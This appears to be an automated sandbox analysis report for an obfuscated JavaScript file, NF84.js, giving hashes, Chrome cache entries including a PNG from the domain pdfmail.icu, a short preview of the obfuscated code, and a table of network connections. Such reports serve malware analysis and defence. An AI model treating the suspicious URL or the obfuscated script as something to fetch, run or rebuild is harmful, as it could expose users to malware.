MD5:	2C03B0DA6D67DF4E9E213393D05F0E82
SHA1:	AC45AE8B3121F8C512B755E20F1304576C305AB2
SHA-256:	3ED952D71B97826A7CFF36213524EDD1152B8685BA5B9830A1A80A779AEA1B71
SHA-512:	0D5B053584D83128AC1D316D9CFF139C8C67C8045F9620B3E0D306FCFC48303470FAC220960BB39A917AF566A7970B07BD5516D71C1B6EF917AC5E1086F0A2D4
Malicious:	false
URL:	https://pdfmail.icu/arquivo/lista/pdf.png
Preview:	.PNG........IHDR.......,.......n:....PLTEGpL. ........ .. .. .. .. ..!.....!........ .. .. .. ..#..#..".. .. .. .."..!.. .."..!..!.. .. ........ .. ...........!...........4.G=.E<.0&.............<2.ng............................KB. .....YQ......................un....... ..!...........xq.......]U....rk.6,....H>.......#.. ........:0.C9....b[..........{t.TL.f^.......... ........}w.8/........$....QH.jb.......ld.......NE.%........"........@7.`X.......WO.2(.......+!.............h`........}..........).....>5....[S.....y....I@.'..................................................nnn...!!!"""......IIIddd......&&&...$$$666PPP.........UUU...(((......+++,,,%%%222aaa**###ZZZiii{{{............;;;EEE..................]]]......>>>LLL.......uuuxxx......WWW..................BBBzzz....... .....!.. ..!..!.o.=.....tRNS..(@[zuvrP:..$l.........2.....a.F................"........................................ .................................................................................................

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 28, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	637
Entropy (8bit):	7.551611939040236
Encrypted:	false
SSDEEP:	12:6v/7qKFETCjI+CKG6xfaKruWK2PRr1NSDqlpM8XbIF1tWm6zkNVxPMFNozpUreKB:TpCjfG6lruP2d1NSDopMF10cVYozpUrF
MD5:	72C5FAFFE174F535B937FBEB3821E899
SHA1:	A185A1F8DFDEB248027AC0C088246F06C29B257E
SHA-256:	4661BF817B51D30A7F3D7873FBA4D166E3A0EB6CFB69C4FCEE7F611A17333B26
SHA-512:	5C85C3CA104A7586D2FA398CF2C8768F297CE669BE7B5D03109C5BFA36C6CAEE731E01258969A91B9B3AAF38DB2C6B8A3412A978D88792B774601A5779DB319A
Malicious:	false
Preview:	.PNG........IHDR...f...........]....DIDATx..1n.0.@.6.3.E..).C.&Y)...d.c.N....q....- Wh.MV.s....X....$LJ6.7%2e}...E..o....^.....i.i.i....0..r0...2..\|6.O.g..p.2.!X..8.....#.w..v.r..5L<h_Y...@.....Ge.3.F"m.2...>c.....R. .=.,eS/...o+.a..b.o..L.XXd9];..d.$.0 .....x.=.VV....e.&.c.Je.5.....0c.b...R.W.L!.}B......^.y..NYh....N.S...^............NUF&..S.}.9.....F......g.EQlN2Y..-.\|.......[...0.M...?e...At}s[U.P#.T......_.a<..m.....J.U4.H......5_..>..b....-.<................c..X.....".w..O...j.....X...~..soM.x/ g..>!...[z..{X^kV.h.YN.BL..d..P.......T..+...a.'......Gn.S..]..S..S..............=....IEND.B`.

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65245)
Category:	downloaded
Size (bytes):	72380
Entropy (8bit):	5.291235892642397
Encrypted:	false
SSDEEP:	1536:KDFXTRMYFbeDtyZxg6V4mMeexs1Lzu3JlQ5uCe/ZiEm4kWpfBogmzmPx3SgQ47Gl:AuIy3JlQ5cF7m+SgQ47GKA
MD5:	FB8409A092ADC6E8BE17E87D59E0595E
SHA1:	CF8D9821552D51BB50CE572E696ABA1309065800
SHA-256:	E3E5F35D586C0E6A9A9D7187687BE087580C40A5F8D0E52F0C4053BBC25C98DB
SHA-512:	FC35D35EBEA742874C522ABE2142580ADD8F3CE523AC727DC05AEAA49DD79203CD39955F32893B711C3A092C72090C579FAA339444AC4A1D7FB0C093175ACBFE
Malicious:	false
URL:	https://code.jquery.com/jquery-3.5.1.slim.min.js
Preview:	/! jQuery v3.5.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(g,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,v=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),m={},b=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},w=g.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function C(e,t,n){var r,i,o=(

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	37078
Entropy (8bit):	5.435154990608985
Encrypted:	false
SSDEEP:	768:MCzSqpINwILv9vAv9vIvDvHvzHFDfnmtpAtJBkkhDlZRkIdc+kOKVL4QiYvEf+vl:nSqpINjE
MD5:	873071A4E5BD532177331B476750A3FD
SHA1:	7DBA20A81CE72C43ADB15CBE668B114FE2766B07
SHA-256:	0A21E404BFC3D243A08E95446A0F339222BC79CCBEA22D1DE22E23B8DC4ED9DF
SHA-512:	D8857F62D4D08460AF457234C3EFDB0741E4A637F243D7286DC50C8DB47497BE43180490B1B7EFA6B9C4DD8345FD4473238FAD186E82473A6764781D3766DE07
Malicious:	false
URL:	"https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,100;0,300;0,400;0,700;0,900;1,100;1,300;1,400;1,700;1,900&family=Quicksand:wght@300..700&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap"
Preview:	/* latin-ext /.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 100;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u-w4BMUTPHjxsIPx-mPCLQ7A.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 100;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u-w4BMUTPHjxsIPx-oPCI.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_FQft1dw.woff2) format('woff2');. unicode-ra

Static File Info

General

File type:	ASCII text, with very long lines (11432), with no line terminators
Entropy (8bit):	5.3411306631568545
TrID:	Java Script (8504/1) 100.00%
File name:	NF84.js
File size:	11'432 bytes
MD5:	a3f5b1bed67c38b16b92cf4cc27a8309
SHA1:	15f9f702e5814b5af5186bcfd56129138ff09645
SHA256:	d932fc1c5dad9d3bd1aa6d57dc1312c2643e640925deadb398f20869ec65ea12
SHA512:	886b42c41bff2e7a0e0ff89999251b8a2e214aed40cf6558725f63b259fafba0fa718f7abc10ca7aa44eb1fd2ae4c00d945ed1646bdae63ccb785756e6d04887
SSDEEP:	192:qczvBx/a5CgWCKBIai28nuZhCA8LAXK7DjnI7qAP3viiAz8y3G4EHN999CPENx4O:Lx/a5CPCKBIl2owsACYK7DjnI7qAP3vR
TLSH:	5132DD4B72C07891530367BB3D17D0EAF42D5CDD67C64182E128F898F5A0636B7B9A3A
File Content Preview:	var _0x6312fa=_0x1552;(function(_0x18c1aa,_0x15a4dc){var _0x33bc1b=_0x1552,_0x29d867=_0x18c1aa();while(!![]){try{var _0x8ecdc5=-parseInt(_0x33bc1b(0xe6))/(-0x75e+0x2390+-0x1c31)+-parseInt(_0x33bc1b(0x6f))/(0x2da0xd+0x1c550x1+-0x4165)+-parseInt(_0x33bc1b

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 06:29:22.870651960 CEST	49674	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:29.547966003 CEST	49677	443	192.168.2.9	20.189.173.11
Sep 24, 2024 06:29:32.219794035 CEST	49676	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:32.220032930 CEST	49675	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:32.485385895 CEST	49674	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:34.181924105 CEST	443	49704	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:34.182156086 CEST	49704	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:42.699012041 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:42.699054956 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:42.699342966 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:42.699474096 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:42.699486971 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.191117048 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.191627026 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.191643953 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.193025112 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.193300009 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.198941946 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.199038982 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.199044943 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.199126959 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.199126959 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.199139118 CEST	443	49714	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.199188948 CEST	49714	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.199578047 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.199626923 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.199685097 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.200329065 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.200345993 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.539848089 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:43.539881945 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:43.539997101 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:43.544454098 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:43.544487953 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:43.846709967 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.847326040 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.847361088 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.848495007 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.848551035 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.849910975 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.849989891 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.850191116 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:43.850208044 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:43.891688108 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.246181011 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:44.246284008 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:44.256207943 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256266117 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256321907 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256356955 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256367922 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.256406069 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256423950 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.256447077 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256474972 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256505013 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256520033 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.256526947 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256548882 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.256632090 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.256788015 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.504090071 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:44.504112959 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:44.504502058 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:44.555183887 CEST	49715	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.555217981 CEST	443	49715	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.558808088 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:44.576812983 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:44.576848030 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:44.576936007 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:44.577491999 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:44.577507019 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:44.630193949 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.630240917 CEST	443	49720	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.630307913 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.630742073 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:44.630759001 CEST	443	49720	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:44.643392086 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:44.643429041 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:44.643529892 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:44.643946886 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:44.643963099 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.070422888 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.070724010 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.070746899 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.071796894 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.071856976 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.076764107 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.076929092 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.076931953 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.119411945 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.122041941 CEST	443	49720	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.122381926 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.122426987 CEST	443	49720	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.123692036 CEST	443	49720	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.123761892 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124231100 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124254942 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124305010 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124340057 CEST	443	49720	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.124402046 CEST	49720	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124622107 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124661922 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.124736071 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124939919 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.124953032 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.125137091 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.125144958 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.173082113 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.195621967 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.195667028 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.195697069 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.195713043 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.195730925 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.195744038 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.195786953 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.195805073 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.195856094 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.195868969 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.196238041 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.196280003 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.196288109 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.200217962 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.200247049 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.200267076 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.200273991 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.200313091 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.221657991 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.222033978 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.222047091 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.223118067 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.223202944 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.224679947 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.224764109 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.225647926 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.225653887 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.265394926 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.284065008 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.284142971 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.284183979 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.284384966 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.284427881 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.284463882 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.284476995 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.284483910 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.284519911 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.284526110 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.285132885 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.285149097 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.285168886 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.285176992 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.285209894 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.285270929 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286081076 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286109924 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286127090 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.286134958 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286180973 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.286186934 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286237001 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286262989 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286269903 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.286274910 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.286313057 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.286972046 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.287127972 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.287162066 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.287166119 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.287172079 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.287214994 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.287220955 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.320019007 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.320147991 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.320188046 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.328917027 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.336550951 CEST	49721	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.336574078 CEST	443	49721	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.372893095 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.372957945 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.372988939 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.372999907 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.373013973 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373053074 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.373087883 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373282909 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373323917 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.373333931 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373703957 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373747110 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373754978 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.373765945 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.373790979 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.374408960 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.374470949 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.374475956 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.374511957 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.374552011 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.374557972 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.374596119 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.374665022 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.374763012 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.375247955 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.375303030 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.375402927 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.375451088 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.376070976 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.376130104 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.376209974 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.376245975 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.376260042 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.376266956 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.376302958 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.376986027 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.377037048 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.377139091 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.377206087 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.419514894 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.419589043 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.456093073 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.456142902 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.456212044 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.461236000 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.461252928 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.461966991 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462025881 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462069988 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462115049 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462199926 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462244034 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462332010 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462366104 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462388039 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462394953 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462414980 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462425947 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462522984 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462568998 CEST	49719	443	192.168.2.9	104.18.10.207
